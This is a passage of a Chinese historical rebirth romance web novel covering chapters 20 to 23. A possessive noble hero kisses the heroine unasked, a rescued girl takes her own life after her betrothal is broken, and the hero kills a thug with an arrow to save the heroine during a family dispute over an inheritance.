但是他竟就如此和自己说了。
白持盈等着他下句。
辜筠玉坐到她身旁,似乎有些难过,摸了摸自己手上的墨玉扳指。
“我并非长公主亲生。”
白持盈本谢倚着看他,听这言瞳孔霎时睁大了,长而密的睫毛上下翕动着。
辜筠玉歪头眯眼,顿了好一会儿,才躺倒在他身旁。
雨还在下,且情势是瞧着要下大了,远远的一层云,灰得发亮,嵌成丝丝鱼线颤亮的银光,打湿一阶苔绿。
白持盈感到辜筠玉把头靠在了她肩侧,话也跟被雨打湿了一般,濡潮地有些听不清楚。
她要很仔细地听,才能辨别辜筠玉那实在飘忽转瞬而过的话。
“沈是应当和你说过的。”
“说过什么?”
白持盈明知故问。
“我是朔宁十七年才被接回的长安。”
“我知道的。”
“那时候你已经不见了。”
辜筠玉抬头,手中把玩着姑娘垂乱的一缕青丝。
“我知道的。”白持盈侧某,看着他那有些变形的小指。“可你不是从小因着身子弱拜在善因寺明法住持门下么,这我们都知道的。”
谁知辜筠玉听了反自嘲一笑。
“他们可真会编故事。”
白持盈转过身去正看着他,见人将墨玉扳指摘下,在昏昏光影下单眸透过那扳指孔隙看着窗外雨丝。
长公主与镇国公说起来,也是叫满长安城人叹气的一对儿兰因絮果的怨侣。
二十三年前,长公主萧令则在太液池旁落水,恰被镇国公府的庶子辜成章救出,一时风动荷摇。
这一年公主十里红妆出嫁,长安城一时无人不道佳偶天成。
可三年后,公主一直未能有喜,辜氏却渐成为皇帝身边的宠臣,他不再依附着她的时候,爱人就变回了男人。
一个爱权爱酒也爱美人的男人。
外室先于公主为辜氏诞下一子,公主大怒后大悲,差点一头撞死在紫宸殿内,太后却劝公主不要学着独孤氏善妒,驸马毕竟是个男人。
这段皇家丑闻最后没能传出宫门,以将赐死外室、驸马罚俸三月终。
“那个孩子……”
辜筠玉眯眼一笑,指了指自己。
“就是我啊。”
“她当时捏着鼻子认下了我。却最嫌恶我,于是将我送到了善因寺。”
只是长公主估计也料到,后来那个不起眼的庶子辜成章因平齐王反立大功继承了国公爵,无数美娇娘一个接一个地被抬进府来,她要看的何止是那小小的外室和外室子。
至于后来将辜筠玉接回来,就又是另一桩子事儿了。
白持盈将今世前生所有知晓的事儿在脑海中过了一遍,七七八八算是理清楚了。
怪不得这人最后对辜家那样绝情。
她隐隐约约觉着有哪些地方不对劲,可又大讲不出来,便只认为是自己多心了。
“那……那她为何如今要对你下手?”
将手中扳指收回,辜筠玉看了白持盈一眼。
“那当然是因为她还是想要一个自己的孩子。”
看着姑娘因为震惊而微张的双唇,辜筠玉心满意足地点了点头。
他忽然凑近白持盈,用比方才认真许多的语气开口:“盈娘,你真是太可爱了。”
白持盈本还未他一翻话心中翻覆着,听他此言一时未来得及反应,便被辜筠玉一个翻身压在了身下。
他一手撑在白持盈后颈处,牢牢地锢住姑娘的纤细的脖子,而后低头。
先是轻轻啄过她湿濡微凉的唇,等那两瓣春樱因受惊而微张时,辜筠玉才追吻了上来。
暧昧的熟悉气息纠缠在白持盈鼻尖,窗外雨仍泠泠,一时水声交缠,近的与远的混作一片,清晰又模糊,遥远又触手可及。
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良久,久到白持盈面带颈子皆飞红一片,眼含粉泪肩胛微颤,辜筠玉才后退三指距离,仍极近地望着怀中人。
“我可以吻你吗?”
他伸手揩去姑娘眼角泪痕。
白持盈伸手推他未果,听着言脸上绯色更甚,羞恼道:“你……你根本没想着问我,你就是……你!流氓之徒!”
“那我补上。”辜筠玉眨眨眼,将白持盈落开的衣襟扯正,又将被子给她往身上盖了盖。
“你现在说有什么用!”白持盈简直被他气笑了,真想翻身将他扔下榻去。
“可是已然是亲了……你亲回来如何?我不会生气的。”
“你!”白持盈发现根本与他说不清,便干脆不理他,拿被子一蒙头,缩到里面不再动作。
她听到辜筠玉轻笑。
这人果然最是可恶!亏自己方才还因着他说的话心软一瞬,这人就不应得到一点儿可怜!
见人真羞住了,辜筠玉不再逗她,躺在她身旁静静看着她。
他干燥的手指轻轻触碰过自己的唇,眼中是一闪而过的异样偏狭,那原本因久病而有些苍白的面颊在看向白持盈的一刻忽然漫上熠熠的神采。
如果白持盈此时没躲在被子里逃避,就会发现身旁人根本从来就是自己记忆里的样子。
病态、阴冷、难以沟通。
辜筠玉眸色晦暗地看着她,漆黑瞳仁像是一潭无底的深渊,说出的话却是与神色大不相像的温柔缱绻。
“盈娘,你都不心疼我一下。”
白持盈刚缓过那股子恼羞又觉得自个儿不争气的劲儿,听他此言反被气笑,探出头来:“你方才与我说那么多,就为了……为了这个?”
辜筠玉点头,看起来很是老实。
“你!”
“不然我若直接亲你了,你会把我扔出去吗?”
会的。
白持盈深深顺过一口气,看着他凄凄恻恻的神色,一时又说不出重话来。
好吧,这招确是十分成功,对旁人也许无用,对白持盈确实一把掐一个准儿。
实在是被得了趣儿的辜筠玉烦得不行,白持盈听着雨停了,天又渐泛起瓷白,便打发他去帮着石当家抬百花酿去。
辜筠玉极不情愿地向门口走去。
白持盈抄起一册子书朝他扔去,这才将人“送”出了房门。
待人走后,白持盈将自己重新闷回被子里,良久,才速速地将那被子团成一团起身坐定,恼恨捶了一拳。
*
辜筠玉出门,转身向一径窄窄的巷道走去。
灰败的一片圮塌瓦墙,新雨停在旧泥洼,倒影着惨绿的青苔像蛇的窝穴,只忽然一滴血红落下,蛇的信子一般,舔舐着雨季。
走到头时,辜筠玉朝着那高墙伸手。
又一滴血红滴下,这次淌在他修长苍白的手指上,渐渐汇到扳指。
那墙头冷不丁出现了一个人,他手中提着一团乌黑的东西。
“主子。”
他只轻轻将那东西转了了方向。
辜筠玉面无表情地看了一眼,淡淡道:“另一个。”
那人将那黑乎乎的东西转回去,呆滞了一瞬,又面无表情地将那藏在怀中的信递给辜筠玉。
辜筠玉接过信看了一眼,嘴角扯上一抹玩味的笑。
“回去吧。”
辜筠玉将信收起,未多看那人一眼。
黑衣人忽然出现又忽然消失,如同却舌的乌鸦飞过。
这一天的洛阳很平静,白持盈在等辜筠玉回来,困倦得头一点一点;石当家将新领回来百花酿码好,悄悄开了一坛喝;许副官练着新收的兵,精气神很足。
只有洛阳令王大人不好。
因为他失去了他的头。
21.变生不测流言害命,情难自禁柔语催心
白持盈靠在软榻旁发愣。
辜筠玉不在,她本该乐得清闲,却不知怎的有些心烦意乱。
那日她晕倒后应是梦到了什么,哪料无论如何也想不起个一二来。
后头又叫辜筠玉那样一打岔,全把混梦搅了。
揉着有些酸涨的额角,白持盈手中攥着串菩提籽,来来回回地转着,最后竟然一个不留神,噼里啪啦滚了一地。
她将要下榻去,捡却见辜筠玉推门进来,有几颗恰好顺着石缝滚到他鞋边。
辜筠玉一挑眉,抬脚越过那几颗菩提籽:“这东西又如何惹你生气了?”
将手中剩下的那几颗压到枕下,白持盈听他言毕,冷笑道:“话倒是全叫你说满了,除状以外,谁每天惹我生气?”
辜筠玉不晓得白大小姐又在恼些什么,将手中一着的一袋糖炒栗子放到白持盈跟前,待白持盈伸手要拿时,忽然将那袋子错过,俯身压了上去。
白持盈被他掐着下巴亲了一口,正要羞恼着将人推开,却迫于二人气力之差无法作为,只能又被掐着亲了一口。
“辜筠玉!”她推拒不得,只好狠狠咬了他下唇一口。
唇齿间铁锈味弥漫开,辜筠玉却恍若未觉,仍然加深着这个吻。
直到姑娘被吻得双眼蒙润泛泪,鼻尖渗出一层细小的汗珠,满面潮|红,一片春夜情态,他才堪堪收手起身,将下唇那一丝血迹揩去。
“你……你!”
“反正我做什么你都会生气。”辜筠玉将她被蹭乱的衣襟理好,伸手将白持盈一缕散开的碎发别到耳后。“倒不如做点有用的。”
什么有用没用的,这是这么算的吗?
白持盈简直要被他一派胡言乱语气笑了。
“那你也不能亲我啊?”
“我更不能亲别人啊。”
“你!你一派胡言!”
找不话来反驳他,白持盈转过身去,决意不和他再搭话。
辜筠玉在她身后轻笑。
看着姑娘修长白皙的颈子,他心中有什么东西在枝蔓盘亘。
他伸手将白持盈因为侧身而漏在外头的一截细腰盖住。
那腰最是不盈一握。
辜筠玉垂眸不再看她。
*
因着剿杀陈家庄一事,金玉堂很是关门歇息了一段时间。
再有辜筠玉伤重和白持盈忽然晕倒,石当家的抬了一把据说是可用作辟邪的剑放在堂内。
“刚巧来避小人。”
自上次陈家庄一案,金玉堂声名鹊起,甚至有好几家酒楼下了大银钱要请白持盈去讲书。
白持盈一一全回拒了。
平日里大家听白持盈讲书其实多是看个热闹新鲜,如同看无数次在洛阳城时兴过的事一般,时兴劲儿过了,人们也便不在意了。
可白持盈这么着一来,反倒是欲遮还休的,叫无数人猜着这小小的茶馆究竟日后要怎么做。
亦有人说,这茶馆背后的东家其实比洛阳城“三尊大佛”更有权有势的东家在。
一时洛阳城里流言纷纷。
但其实并不如同旁人说的那么多门道,白持盈最近没再叫石当家的开张的原因其实很简单——她不知晓下一步该怎么做了。
白持盈呆呆地看着窗外的柳枝,新芽生发,柔柔嫋嫋地拂动,杏枝也啄上嫩黄,雀子一背灰毛褪去,上了有光泽的羽毛。
正放空着,白持盈一抬头吗,便见小盲女慌慌张张向自己奔来。
小姑娘瞧不见台阶,只能由着自己从前走过的熟稔劲而向上迈,却仍抵不过初春雪消阶滑,一个踉跄就重重地跌倒在地。
白持盈原在屋子里誊写新话本子,听外头一阵重响,心中暗道不好,连向外走去,却见小姑娘已然磕碰了满膝青紫。
“哎呀!”她赶忙上前,将小姑娘扶起,两人一点一点挪到了屋子里。
小盲女虽年纪不大,却因为从小寄人篱下而早熟稳重,鲜少见有如此慌张之时,白持盈正觉讶异,自思怕是有大事发生。
她还未来得及问,却见小姑娘抱着她,“哇”地一声哭了出来。
“怎的了这是?”白持盈一边儿拍着人后背,一边儿问道。
小盲女哽咽着说不全话,呜呜咽咽半响,才吐出句完整的。
“白、白姐姐……呜……,刘二娘她……她没了……”
“没了……什、什么没了?”白持盈拍着她的手一顿,一双眸子蓦地睁大,直直愣在了原地。
小姑娘愈发哭地止将不住。
这刘二娘正是那日被陈家庄的匪贼绑走的姑娘之一。
可沈是二人将人救下后,她请了郎中婆婆来给几个姑娘一一都看过了,并无什么致命伤,只有两个先被下了蛊,也叫白持盈依着上辈子的记忆解了,时日并不长,好生将养几日就好。
除了受了些惊吓,这些姑娘应当是没事的。
怎的好端端的,人便没了呢?
白持盈脸色一阵发白。
难不成是自己将那解毒的方子记错了?
不应当。
又顺着记忆将那些药引子数了一遍,白持盈确信是没有什么错漏。
这药方子可是当年辜筠玉背着她差点儿将全西洲的蛊师都杀了才弄出来的,连她那浸了三年的剧毒烈蛊都能解个九成,不应当对付不了这几天功夫的毒。
“是……是那蛊毒未能解了吗?”白持盈捂着心口,脑海里全是那有些腼腆却活泼可人的姑娘。
没想到小盲女反倒摇了摇头。
“不、不是的,白姐姐,和你没关系……是……是那原与她订了婚的人家,知晓她被贼匪绑了一遭,怎么说都不愿意相信她是完璧之身,便强硬地退了婚……”小盲女说到这儿,满面都是凄凄之色。
“她家本就门楣没落了许多年,还有两个未出阁的妹妹,她自记事起便常熟于女工,是洛阳城有名的好女子,模样又俊,人又贤淑能干,本靠着这桩婚事,有亲家接济,一家子人过得还算不错,两个妹妹本也在相看人家了……谁想……谁想……”
“从那山庄回来,刘大姑娘便被退了婚,一时……一时想不开……便……一根白绫去了……”
谁想十来年谨小慎微、悉心讨欢,却抵不过一句失贞难娶。
两人赶到那刘二娘家时,正许多人在外头围着看热闹,见白持盈来了,又作鸟兽状散开。
事发仓促,白帐还未挂上。
白持盈拉着连路都不大会走的小盲女,一步一顿来到了刘家大堂。
刘家这院子其实不算小,只是从装饰来看,侧面的屋子该是住着旁人
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,白持盈一打探,才知晓原是刘家堂系一大家子未分家,都挤在这小小的院子里。
只是这些人张着一双双黑黢黢的眼睛瞧着这闯入的两个陌生人,脸上并无伤感,也无难过,只有无尽的戒备和敌意。
堂众有两中年男女大吵着架,见白持盈来了也并未停息。
“我是他亲的二叔!长幼有序千百年前孔圣人便已说过了!再说了当年大哥故去的时候,是将芳姐儿托付给我的,这遗产遗物也应当由我来掌着!”面色饥黄的男子声音粗犷沉粝,架势瞧着十分唬人。
与他对骂的那年纪不大的妇人却是毫不相让,扯着尖细的嗓子高声骂着:“放你爹的狗屁!当年那短命的两口子没了,你给这破丫头片子捎过一口干粮吗,还不是我心善时常接济着,又供她学女工,又供她吃喝拉撒,还养着那两个没用的小丫头片子!”
她眼睛一竖,“嘭”地将手中菜刀砍到一旁的门框上,吓得那男子一哆嗦。
男子向门外望了一眼,好似定了心神,又粗俗开口:“哼,寡妇门前是非多……别以为旁人不知道你一般做的那些上不得台面的营生!屁股又圆又翘,那小腰软得跟水一样,洛阳城几个男人不晓得!荡|妇……你滚不滚!不滚的话我今儿就叫家丁将你也一同赶出去!”
三寡妇脸色煞白。
白持盈不敢贸然向前,便悄悄又问了小盲女两句。
原这刘二娘父亲是个举人,也在附近县里做过些小官,名声还算不错,只是夫妻二人不幸南下时遇到了水匪,双双殒命,只留下三个孤幼的女儿。
刘老爷弟兄有三个,老二便是这男子,向来是个好吃懒做的,好几十了也靠哥哥那点儿遗产养着,天天盘算如何从刘家几个姑娘手中弄走钱财;老三早逝,有个年纪轻轻就守了寡的媳妇,便是这眼前的妇人。
刘家三姐妹可以说就是这三寡妇养大的。
靠那薄薄的遗产和三寡妇“见不得人”的营生。
那妇人脸色还白着,却并未理才进来的白持盈二人,她正与刘二叔吵得厉害,本也就不怎么好的形象更是在此时炸开。
“我说该你滚!良心叫狗吃了的东西!不滚就别怪我这菜刀不认人!”妇人叉着腰,嗓子有些嘶哑,眼中泪水却是快要溢出。“我就说姑娘最没用了……就这么轻飘飘死了……”
白持盈瞧出来了,这三寡妇应当是与刘家三个姑娘有些真情在。
但刘二叔今儿显然是有备而来,他一挥手,呼啦啦从大门外走进来几个地痞流氓似的男子,各个歪嘴斜眼,没个正行。
从前这刘二叔因着刘大姑娘亲家势大不敢造次,如今算是秃狗闻到了肉骨头,急切着要将刘大姑娘两个妹妹卖了,赶走三寡妇。
他使过一个眼色,要那几个混混上前将妇人拿下,却忽然见墙角飞出一抹灰不溜秋的小身影。
“放开我婶娘!我要杀了你!”
一个约莫八九岁的小姑娘冲出,狠狠向那刘二叔扑了上来。
刘二叔气极,一巴掌便扇了上去,那小姑娘十分瘦小,哪儿顶得住这全力一掌,顿时被扇飞出去,脑袋嗑在青史阶上,抽搐两下后不再动弹了。
一切发生地太突然。
“多娘!”
三寡妇凄惨地大叫一声,向那额角流着血的小姑娘奔去。
22.伊女儿哭尽此生泪,我公子箭断凶人颅
一掌落下,刘二叔也愣了一下,看着躺在地上一动不动的多姐儿,他脸色一阵煞白,瞳孔微缩,连向后退了两步。
那些围在刘家门口的人中蹿出个猴子样的捣蛋孩子来,极大声地喊了一句:“死人啦!死人啦!刘家又没一个!”他还要拍着手蹦跳,被身后一粗壮的妇人狠狠捂住嘴打了一拳。
三寡妇伏在地上,查看着多姐儿苍白的小脸,抱起人来就要冲出门去,却被刘二叔带来的那一干子人拦了个严严实实。
“我们让你走了吗?”那一群流氓混混拉扯着三寡妇,推推搡搡,使得妇人寸步难行。
白持盈看着这满院子腰肥膀粗的地痞流氓,心中只盼着辜筠玉回金玉堂看到了自己留的信。
今儿石当家的带着几个小丫头出门玩耍去了,并不在茶馆,辜筠玉也一转眼便不见了人影,自个儿离开金玉堂的时候,堂中竟然只剩下自己和小盲女两个人。
辜筠玉可一定、一定得在这个时段回来。
并且一定、一定要恰好看到她放在桌上的信。
常言道秀才遇上兵,有理说不清,更何况眼前这一群是远远还不如兵的一群混子。
而许副官练兵的地儿实在是离得太远,等叫来官兵恐怕菜都凉了。
呼吸过几瞬,白持盈定下心神,尽量叫自己显得镇静些,让这些人觉得自己是有备而来,背后有大大的靠山。
虽然这“靠山”若真来了确实是非常唬人,但问题就在于不一定能来。
白持盈又在心中暗骂自己几声。
就该从小跟着舅舅扎马步练功,不拿笔杆子去拿枪杆子,现在便能一脚一个踹飞这些嘴脸可恶之人了。
白持盈想着自个儿小时候与哥哥妹妹们在院子里玩投壶时的准头法子,拾起地上一块儿半大不小的石头,向那最前头恐吓三寡妇的人扔去。
运气极好,“嘭”一声,那人后脑勺正正好被砸出一个血窟窿。
原还扯搡三寡妇的大汉后脑勺忽然一阵剧痛,一摸,却是黏稠的一股铁锈味儿。
那一身腱子肉的人不可置信地缓缓转身,看了白持盈一眼,又愣着摸了摸后脑勺,接着怒目圆睁,忽然大吼了一声。
门外有围观的小孩儿被吓得“哇”一声哭了出来。
白持盈有些害怕,但她没有后退,反而是咬紧牙关,又捏起了地上一块儿有棱有角的尖锐石头。
“你个小娘们!!!!!!”那人被砸显然是气急败坏,不再纠缠三寡妇,反将发飙欺压的对象转向白持盈,怒火中烧地撸起袖子就要上前,却被一旁看呆了的刘二叔伸手叫人拦住了。
因着白持盈先给三寡妇使了个眼色,叫她赶紧带孩子寻医去,后半抬下巴举出一枚玉佩来。
“知晓这是什么吗?”她冷声喝道。
刘二叔本就是个不学无术的混子,哪儿见过什么真正高门人家的东西,瞧这玉佩通体雪白莹润,一时便被唬住拿不定主意。
他一身的邪门歪道,一双眼睛滴溜溜转了几转。
“哎呦,这位姑娘,这这这……这哪儿知晓呢……”他看着看着,愈发觉得这是个金贵物件儿,又瞧白持盈生的花容月貌,更加不敢乱动。
白持盈哪儿不晓得这烂人心中所想,只暗暗啐了他一声。
个欺软怕硬的。
“连这东西都看不出来,还想着欺负孤弱妇孺,你们皆等着去洛阳城大牢里吃牢饭去吧!”
听她又添的话,刘二叔彻底不敢再造次了。
这一群地痞流氓都在猜白持盈是什么身份。
而白持盈要的就是他们多猜猜。
其实这玉佩就是那日沈是给自己的。
远水救不了近火,在北三州跟通行令牌一般叫神佛让道的信物,在洛阳城、至少在此时此刻,其实也不过是个普通的玉器罢了。
不过白持盈赌的就是这几人心虚,瞧见这玩意儿便不敢擅动,容她磋磨过时间,等到辜筠玉来。
刘二叔讪讪开口:“额……这兴许是误会一场呢……”
“那你又为何出手伤人?”
看着眼前姑娘定定的目光,刘二叔竟然有些羞愧,他顶不住这赤裸裸的审视,只得心虚错开了目光。
他声如蚊讷:“那你方才不也伤人了吗?”
这一番狡辩正中白持盈下怀,这几人不动手,恰给了她时间等辜筠玉这个能打的来。如今这动动嘴皮子的事儿,她自然乐得与他诡辩一番。
“按大梁律法,其一,你侵吞兄长私产,其二,你凶殴侄女致残,其三,你欺凌妇孺。单这三条,便有你吃不了兜着走的。”
“你!”刘三叔听这罪一罪二罪三的,早被吓得魂儿都没有了,忙转头问一贼眉鼠眼师爷模样的人。
那师爷面露难色摇摇头,显然也是个不懂律法的。
所以他们都听不出来白持盈在一半儿真话一半儿胡诌。
白持盈所言倒确是句句属实,只不过有些律法在施行的过程中,难免有“情理”上的偏颇处理。
比如这财产,虽名分上该是刘家三个女儿的,可分的过程中,大家又觉得不该是女儿的,便划给了刘二一部分,刘三一部分。
反正三个孤女,无依无靠的,活下来都算不错的了,怎么还有气力计较这些东西。
向来是睁一只眼闭一只眼,大家心里都有块儿明镜,都心照不宣地按着“从来如此”行事,没什么不对的。
只是这一行,如今是行出了人命。
刘二叔还就着那“大牢”“玉佩”喋喋不休地纠缠着,白持盈二二三三回他话,也不多说,只一副清高做派,叫刘二叔心中更信服几分她是“贵人”,想着为自己说几句好话。
但旁边那壮汉显然是被二人一番言语纠缠惹恼,他听不懂这二人说些什么,只力气极大地挣脱开另外几个男子的桎梏,向白持盈扑来。
“你这小娘们……敢砸老子……老子剁了你!”他后脑勺还洇着血,滴滴答答流在地上,像细小的河流,与方才刘多姐额角磕出的血迹汇在一处,周遭引来密密麻麻一群蚂蚁。
就怕这种情况。
白持盈一惊,握紧手中的尖利石块儿,预备着再给他一下。
今儿不会真折在这破地方吧。
要不她运气极好,一击敲碎这人头盖骨;要不她运气不怎么好,这人将自己一掌劈死。
白持盈心快要
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从肺腑中跳出来了,她屏息,等着这千钧一发之机。
预想中重量并没有向自己压来。
“咻——”
尖鸣声御风破空而入,箭羽刺开细碎白雾,锃亮的在日光下转过银色的弯,森然冷冽。
一箭穿颅,那人已瞠目断气,而箭嵌壁中,仍余声战战也。
官兵驱散围观的百姓,呼啦啦成队将这刘家围了。
辜筠玉面无表情,犹如在视杂草断苔般看着那死去的大汉。
唯有一双眸子沉得如同浸了墨,瞧不出任何光亮来。
他搭箭拉弓,还要再射下第二箭。
许副官赶忙伸手拉住辜筠玉的胳膊,急道:“世……公子!公子!先且等等!等等……”
一切来得太突然,白持盈叫那紧擦着脸扫过的箭风一惊,跌坐在地上,呆呆地看了眼前血都未流人已毙命的大汉一眼,又转头呆呆地看了辜筠玉一眼,眼泪慢慢氤了上来。
辜筠玉理都没理许副官,将那弓一扔,面色沉沉地向白持盈走去。
白持盈许久没见他这样子,许多记忆纷至沓来,下意识撑着臂子向后仰了一段。
她与辜筠玉一个站着一个坐着,视线本就不平,此时她只能仰头望向辜筠玉,心中暗道不好,还未来得及解释,便一阵天旋地转,落进了熟悉的怀抱中。
鼻间尽是熟悉的檀香味,白持盈看着辜筠玉沉郁的脸色,不知怎的竟然有点儿委屈,一时没忍住,泪珠儿便吧嗒吧嗒掉进了辜筠玉颈窝。
辜筠玉酝酿半晌风雨欲来的脾气,全叫白持盈几滴眼泪哭没了。
“……好了,不哭了,我还没说什么呢。”他见白持盈胡乱蹭了半天,将一脸泪水全蹭在了自己衣襟上,凑到她跟前低声耳语。“我若是迟来了哪怕一点点,你准备怎么着?嗯?和他同归于尽?”
白持盈自知今日太冒险,被辜筠玉这样逼问着,不免又理亏几分,便将头埋在辜筠玉颈窝里不出来,半晌嘟嘟囔囔道:“你这不是来了么……”
“白大圣人,行行好,以后干这种危险的事儿,提前知会我们一生可否?”
“可的可的。”
白持盈连忙点头。
等缓下来了,辜筠玉才将白持盈放下,转身看向那脸色煞白的刘二叔一群人。
许副官命人将这伙子恶霸全绑了,终于出了口恶气一般,狠狠向几人啐了一口。
白持盈见场面安定下来,先是松了一口气,再看着跟辜筠玉一同来的许副官时,忽然觉得有点儿奇怪。
许副官今儿不是在城外练兵么,他俩如此巧地便碰在一处了?
只是她这想法还未来得及深思,便见柱子后踱出个极瘦极小的姑娘,打断了她思索的路子。
她谁也不看,只看着方才刘多姐儿嗑了脑袋时留下的那一滩子血。
也不哭,也不闹,只静静地盯着那一圈儿细细的血流,而后一步一顿地走到那血迹跟前,瞧着一窝蚂蚁赶集似的爬来爬去。
她忽然跪下,将那混着血的黄土一把塞进了嘴里,捂着心口呜呜地哭了起来。
“姐姐……姐、姐姐……”
像是要把此生的眼泪都哭尽。
23.梨花院落持溶溶月,柳絮池塘识淡淡风
那小姑娘同疯魔了一般,抓起混着血的土就往嘴里塞,有些地方已经凝成一块儿硬块儿,她却恍若未觉,仍自顾自吃着土。
白持盈吓了一跳,与辜筠玉上前,眼疾手快地动作,将小姑娘拉了起来。
“姐……姐姐……”她不再吃土,便打起嗝来,一声,两声,最后“哇”地将方才吞下去的东西都吐了出来。
除了那土之外,竟然只有一地酸水。
这是饿了几日了?
许副官也惊到了,万万没想到洛阳治下这样的官宦人家还能出这样的事儿,脸色不大好看,嘴中又将那“告病”多日未曾现身的王大人从头到脚骂了个遍。
白持盈叫他先押下这一帮子地痞流氓,与辜筠玉抱起小姑娘就直奔金玉堂去。
回来金玉堂时,却得了天大的一个坏消息。
刘多姐儿没了。
几息前,三寡妇抱着刘多姐儿一路跌跌撞撞寻到了郎中,却被告知因着磕到了要害处,再加上平日里常饿着体弱,奔走的路上便已经咽了气。
还没来得及备下的棺材乍然变成了两个,一夕之间,三寡妇头顶的发丝便白了一片。
“我就说养女孩儿最没用了……根什么似的,风一吹就折了。”
她怀里抱着那因为一巴掌咽气的小姑娘,像一根杵在天地间无根的枯木,唇上裂纹是层断的树皮。
窗外被拦腰砍断的柳树上原接了新枝,春一来,就该慢慢长大了。
可前几日连着下了好几场雨,那些新枝被冲倒,便只能烂在湿潮的土壤中了。
最后刘家二叔一命换了一命来,刘大姑娘的亲家为刘芳娘和刘多姐用上等的好木料造了棺材,又添给了三寡妇许多银钱讨生计。
该是“皆大欢喜”的结尾,三寡妇再追究什么便是自讨没趣了。
可她拿了那银子日子真能过得比从前好吗?
白持盈坐在窗前,久久没能回过神来。
最小的刘姑娘成了一个傻子,活活被吓的,三寡妇带着一个傻孩子和不多不少的银钱,继续着不好只坏的生活。
这几月来接二连三的事情如同一堆乱麻翻涌到她跟前,滚成一座座突兀的三角土堆子,将无数人葬在里面。
她趴在桌子上,眼前的新话本子无论如何也再落不了笔。
辜筠玉静静坐在她对面儿,将凉了的茶又换了滚热的,还不见白持盈回神。
“要出门走走吗?”辜筠玉在她跟前的桌面上敲了敲。
白持盈根本没气力出去,刚想摇头,却又听辜筠玉添了一句:“去青要山上转转吧,咱们也去踏踏青。”
说罢,他伸手将白持盈下巴轻轻抬起,摇头道:“愁得睫毛都掉了。”
都是掉头发的、掉眉毛的,哪儿有掉睫毛的?
白持盈一惊,忙去摸自己的睫毛。
好端端的还在呀。
待再抬头看到辜筠玉含笑的眉眼时,便知这人又在诓自个儿。
“辜筠玉!”
她终于不趴在桌子上,站起来一伸手就恰好扯住辜筠玉的腰封,要和他算账。
可白持盈还未来得及用力,反被这人拽着小臂搂到了怀中。
“大小姐,别生闷气了,走,带你出去玩会儿,你也可顺带给那两个小姑娘烧个旁的什么东西去,总比留在这儿整日地长吁短叹来得强。”
白持盈知晓他是为了逗自己开心,哪儿还能计较,虽不大有精神,听他此言又觉着说得也不为错,便答应了他,二人相伴着准备出门。
辜筠玉不知何时又买了件儿新样式的藕荷色披风,在白持盈出门前给人披到了肩上。
白持盈红着脸扯了扯披风,不再看他。
“这颜色倒是少见,”
“专给你挑的。”
这布料上手滑溜,润润的,裁边儿绣的是莺蝶绕飞图,下面十六色青绿丝线齐针排成的花丛垂叶,在流转的日光下光影旋变,瞧着竟像是真的一般。
“哪儿弄的?”白持盈还是头一次见这针法,不免好奇问。
“不告诉你。”辜筠玉成心与她卖关子,见白持盈真想知晓,便偏不告诉她。“来吧,上马。”
他早早叫人牵好了马——这马遍体墨毛色,神骏非凡,未上拴马桩,竟也乖乖候在一旁。
白持盈刚想打趣他这派头哪儿瞧着是临时起意,却一回头愣住了。
照夜!
辜筠玉为何会将照夜牵来洛阳?
见白持盈神色不对,辜筠玉挑眉问道:“怎的了?”
“没什么。”她乖乖让辜筠玉抱上马,低头看着他如墨的发丝和沉亮的眼睛,话在舌尖转过许多转,还是忍不住问道:“这马……这马叫什么?”
辜筠玉没想到白持盈会问这个,未作思索状,极快地回了她:“问许副官牵的,怎的了?”
“没……没什么。”白持盈摸了摸这马细腻的墨毛,自思莫不是自己猜错了。
照夜可是陪着辜筠玉一路兵变夺位登临大宝的神驹,见了辜筠玉就该追上来了,被宝贝得跟什么似的,怎么会莫名霎时出现在洛阳?再来如果她没有记错,照夜该是今年年尾万国进贡时,皇上才赐给辜筠玉的,更不应当出现在这儿了。
应当是她想错了的,只是长得像了些。
白持盈不常骑马也不大会骑马,故而上了马后更不敢轻举妄动,只乖乖靠在辜筠玉怀中,紧紧抓着那缰绳。
辜筠玉干燥温暖的手握住了她纤细冰凉的手。
她整个环在这人檀香萦绕的怀中,眼前层层融郁的绿,马匹铁蹄溅尘,墨鬓追风,甫一驰过宽阔的大道,远远向外奔去。
许多被刻意掩盖的从前随着飞驰的骏马扑将而来,白持盈紧紧攥着缰绳,感受着回暖的春风迎面送来。
其实她在很长一段时间里,都不大喜欢骑马,也不大喜欢踏青。
因为辜筠玉,也不全是因为辜筠玉。
前世那场庄子下的踏青可以说是坏极了。
白持盈飘袅的思绪回到了那个春天。
衣着精巧的柳姑娘带着个丫鬟“姐姐长姐姐短”的,一步不落地跟在白持盈后头回了那温泉庄子。
然后叫兵士拦在了外头。
“闲杂人等不可入内。”一身重甲的士兵守在庄子正门口,持着长枪拦了柳净识,人高马大的一队,看着唬人得很。
“我是来寻世子的。”柳净识娆娆弱弱地向这一群人行了个礼。
但显然这群石头根本不吃她这一套,抬手就要将她扔出去。
柳净识“京城洛神”的名头在外,
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哪个男子见了她不是捧在手间心上,哪儿受过这等对待,一时脸色铁青,面上无光。
白持盈面无表情,对她冷冷道:“姑娘,要不你便先回去吧。”
“不行!”这一直笑盈盈的姑娘登时急了,她话一出,也觉自己失态,忙找补道:“我常听世子提起姐姐,今儿见了果真如旧相识般的投缘,便来讨杯茶喝,竟不知是哪儿得罪了姐姐,让……让这些个粗人如此待我……”
说罢,她还转了转自个儿手中的镯子。
那只墨玉的细镯子。
这不叫旁人进来的令分明是辜筠玉下的,她这么一说,倒是像白持盈在为难她一般。
荷衣当然听出她话里有话,上前便要骂她,却被白持盈拦了下来。
“进来吧。”
白持盈并未看她,只先一步带着荷衣进了庄子。
如果说柳净识对山庄守着的兵士拦着自己这事儿是不甚满意,那么对这些兵士只听白持盈的话那便是十分不满意。
她见原本硬得跟千年的石头一般的兵士只听了白持盈一句话便安分点头放自己进去,脸色霎时变得难看一瞬,却在荷衣回头时又挂上了那副和人的笑。
她抱着臂跟在白持盈身后,荷衣因怕她对白持盈做什么不好的事儿,在一旁时不时回头剜她一眼,看了第三次时,柳净识仍笑着,她身旁的丫头却忽然冷哼一声,冷不丁伸手给了荷衣一个巴掌。
荷衣捂着半边儿脸,不可置信地抬头瞧了她一眼。
“贱婢,还不跪下!”
那丫头指着何以大声喝道。
不知在说给谁听。
荷衣从前在庄子上不过干些打扫房屋的轻活儿,后来又遇上白持盈这么个好说话的主子,哪儿受过这等委屈,登时眼泪就落了下来。
白持盈忙上前查看了她的脸,果见渗出些血丝来。
她将荷衣扶起来,也未理会柳净识,便要回房给人取药。
柳净识款款挡在了她跟前。
“姐姐不如听我说完话再走?”她伸手想拉白持盈,被将将躲过,也未生气,只缓缓摸了摸自己摇晃的步摇。
